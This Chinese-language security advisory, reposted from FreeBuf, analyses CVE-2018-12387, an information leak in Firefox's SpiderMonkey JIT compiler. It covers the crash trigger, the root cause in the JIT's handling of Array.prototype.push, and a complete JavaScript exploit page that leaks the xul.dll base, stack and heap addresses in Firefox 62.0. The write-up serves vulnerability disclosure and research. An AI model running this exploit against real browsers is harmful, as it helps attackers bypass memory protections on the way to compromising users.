Firefox信息泄漏漏洞的技术分析(CVE-2018-12387)

前言

研究发现,JavaScript JIT编辑器中的Array.prototype.push有多个存在安全问题的参数,而这些参数共同导致了这个信息泄漏漏洞的出现。这个漏洞会将内存地址泄露给一个相关调用函数,攻击者将能够使用这个地址来进一步实施攻击。

厂商回复

这个安全漏洞已经在Firefox 62.0.3和Firefox ESR 60.2.2版本中得到了修复。

漏洞CVE编号

CVE-2018-12387

漏洞发现者

BrunoKeith和NiklasBaumstark,独立安全研究员,在发现该漏洞之后他们便将漏洞信息上报给了Beyond Security的SecuriTeam安全披露项目。

受影响的系统

Firefox 62.0 Firefox ESR 60.2

漏洞详情

在对Spidermonkey(Mozilla的JavaScript引擎,采用C++编写)进行模糊测试的过程中,我们用下面这段代码成功触发了一次调试断言(Debug Assertion):

functionf(o) {       var a = [o];       a.length = a[0];       var useless = function () {}       var sz = Array.prototype.push.call(a, 42,43);       (function () {              sz;       })(new Boolean(false));}for(var i = 0; i < 25000; i++) {       f(1);}f(2);

上述代码触发了如下所示的断言(Assertion):

Assertion failure: isObject() and crashes in releaseBuild

根本原因分析

在运行JIT编译器生成的代码时,函数f生成了上述断言。

接下来,我们一起看一看JIT代码中的IR(中间表示):

我们可以看到上图中的arraypusht指令,关于该指令的内容可参考【这篇文档】。函数中的注释信息表示,调用push命令的参数将会被分成多个单独的arraypush{t,v}指令。此时会触发断言,因为在调用函数时,栈指针没有被正确恢复。

在了解了错误发生的场景之后,我们需要从BaselineCompiler.cpp中寻找到负责执行syncStack(0)的操作码Handler,并通过peek()来获取栈地址值:

//Load lhs in R0, rhs in R1. frame.syncStack(0); masm.loadValue(frame.addressOfStackValue(frame.peek(-2)),R0); masm.loadValue(frame.addressOfStackValue(frame.peek(-1)),R1); // Call IC. ICSetProp_Fallback::Compiler compiler(cx); if(!emitOpIC(compiler.getStub(&stubSpace_)))     return false; // Leave the object on the stack. frame.pop();

这个操作码会被下列JavaScript代码执行:

functionf() {       var y = {};       var o = {              a: y       };}dis(f); /* bytecode: 00000: newobject ({}) # OBJ 00005: setlocal 0 # OBJ 00009: pop # 00010: newobject ({a:(void 0)}) # OBJ 00015: getlocal 0 # OBJ y 00019: initprop "a" # OBJ 00024: setlocal 1 # OBJ 00028: pop # 00029: retrval # */

Handler告诉了我们这个操作码是如何被编译的:R0被设置为了stack[top-1] = o,R1被设置为了stack[top] = y,接下来内部缓存会设置R0.a = R1。由于栈地址偏移,在下面的代码中会执行stack[top].a = stack[top+1],因此我们可以在栈外获取一个JSValue:

vartest = {       a: 13.37}; functionf(o) {       var a = [o];       a.length = a[0];       var useless = function () {}       useless + useless;       var sz = Array.prototype.push.call(a,1337, 43);       (function () {              sz       })();       var o = {              a: test       };}dis(f);for(var i = 0; i < 25000; i++) {       f(1);}f(100);print(test.a);
/*bytecode:...00034:lambda function() {} # FUN00039:setlocal 1 # FUN00043:pop #00044:getlocal 1 # useless00048:getlocal 1 # useless useless00052:add # (useless + useless)00053:pop #00054:getgname "Array" # Array00059:getprop "prototype" # Array.prototype00064:getprop "push" # Array.prototype.push00069:dup # Array.prototype.push Array.prototype.push00070:callprop "call" # Array.prototype.push Array.prototype.push.call00075:swap # Array.prototype.push.call Array.prototype.push00076:getlocal 0 # Array.prototype.push.call Array.prototype.push a00080:uint16 1337 # Array.prototype.push.call Array.prototype.push a 133700083:int8 43 # Array.prototype.push.call Array.prototype.push a 1337 4300085:funcall 3 # Array.prototype.push.call(...)...00104:newobject ({a:(void 0)}) # OBJ00109:getgname "test" # OBJ test00114:initprop "a" # OBJ00119:setarg 0 # OBJ00122:pop #00123:retrval #

指令48只会将一个函数push进堆内存中,这样一来指令85(funcall)将不会抛出异常,因为它会尝试从栈中获取Array.prototype.push.call,但是有8字节的偏移量。并在我们的系统上打印出了2.11951350117067e-310,它是整型值0x27044d565235的double类型表示,而这是一个返回地址。最终的漏洞利用代码将能够利用这个缺陷来泄漏堆地址、栈地址和xul.dll的基地址。

漏洞利用代码

<script> varconvert = new ArrayBuffer(0x100);varu32 = new Uint32Array(convert);varf64 = new Float64Array(convert); varBASE = 0x100000000; functioni2f(x) {    u32[0] = x % BASE;    u32[1] = (x - (x % BASE)) / BASE; ///    return f64[0];} functionf2i(x) {    f64[0] = x;    return u32[0] + BASE * u32[1];} functionhex(x) {    return `0x${x.toString(16)}`} vartest = {a:0x1337}; functiongen(m) {    var expr = '1+('.repeat(m) + '{a:y}' +')'.repeat(m);     var code = `    f = function(o) {        var y = test;        var a = [o];        a.length = a[0];        var useless = function() { }        useless + useless + useless + useless +useless + useless;        var sz = Array.prototype.push.call(a,1337, 43);        (function() { sz; })();        var o = ${expr};    }    `;    eval(code);} VERSION= '62.0'; functionexploit() {    var xul = 0;    var stack = 0;    var heap = 0;     var leak = [];    for (var i = 20; i >= 0; --i) {        gen(i);        for (var j = 0; j < 10000; j++) {            f(1);        }        f(100);         var x = f2i(test.a);         leak.push(x);    }     function xulbase(addr) {        if (VERSION == '62.0') {            var offsets = [                0x92fe34,                0x3bd4108,            ];        } else {            alert('Unknown version: ' +VERSION);            throw null;        }        var res = 0;        offsets.forEach((offset) => {            if (offset % 0x1000 == addr %0x1000) {                res = addr - offset;            }        });        return res;    }     xul = xulbase(leak[1]);    stack = leak[0];    heap = leak[3];     var el = document.createElement('pre');    el.innerText = (        "XUL.dll base: " + hex(xul) +"\n" +        "Stack: " + hex(stack) +"\n" +        "Heap: " + hex(heap) +"\n" +        "\nFull leak:\n" +leak.map(hex).join("\n"))    document.body.appendChild(el);}</script> <buttononclick="exploit()">Go</button>

* 参考来源:securiteam,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-11-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏张善友的专栏

替换EnterPrise Library 4.0 缓存应用程序块的CacheManager

缓存是用来提高应用程序性能的常见技术,其实现方式是将常用数据从慢数据源复制到更快的数据源。对于数据驱动的应用程序来说,该技术通常需要将从数据库或 Web 服务检...

1957
来自专栏农夫安全

渗透测试之子域名枚举

0x00 前言 首先对这些github上开源工具的作者表示崇高的敬意,农夫会将这种开源的精神传承下去。 0x01 Sublist3r:子域名快速枚举工具...

3448
来自专栏周明礼的专栏

一步一步带你搭建一个“摩登”的前端开发环境

最近几年也陆续推出了多种不同的js类型系统用于增强js的健壮性,其中像 typescript 就是其中的佼佼者。当然我今天要讲的并不是typescript,而是...

1.5K0
来自专栏数据之美

玩转 Nginx 之:使用 Lua 扩展 Nginx 功能

1、Nginx 简介 Nginx 作为一款面向性能设计的HTTP服务器,相较于Apache、lighttpd具有占有内存少,稳定性高等优势。其流行度越来越高,应...

9387
来自专栏张善友的专栏

Redis 起步

Rdis和JQuery一样是纯粹为应用而产生的,这里记录的是在CentOS 5.7上学习入门文章: 1.Redis简介 ? Redis是一个key-value...

1958
来自专栏木子昭的博客

精析Python3实现动态web服务(附服务端源码)如果我们提供一个动态网站服务,至少应考虑以下四点:一个优秀的动态web框架应该是这样的:关于WSGI标准WIGS模型的要点:实现源码小结:

实现一个简单的静态web网站,只需将写好的html页面上传到特定的web服务器软件即可,但静态网页其实和图片没什么区别,每次更新网站内容,都需要重新制作htm...

37312
来自专栏Linyb极客之路

操作日志追踪记录之MDC入门

MDC(Mapped Diagnostic Context,映射调试上下文)是 log4j 和 logback 提供的一种方便在多线程条件下记录日志的功能。某些...

1532
来自专栏前端小作坊

GA源代码里的小技巧之cookie篇

cookie的本质是存储在浏览器端的一段简单数据(多个键值对),浏览器会从服务器接受或者发送给服务器cookie。这样便可以为没有状态的HTTP协议提供了记录状...

1454
来自专栏mini188

Openfire集群源码分析

如果用户量增加后为了解决吞吐量问题,需要引入集群,在openfire中提供了集群的支持,另外也实现了两个集群插件:hazelcast和clustering。为了...

2259
来自专栏FreeBuf

Frida之Pin码破解实验

0×00前言 在网上搜了一些frida破解Pin码的文章,不动手写点代码总感觉理解不深入的念头又升起来了,于是决定找一个开源pin码,然后改一改再破解。 特别感...

3767

扫码关注云+社区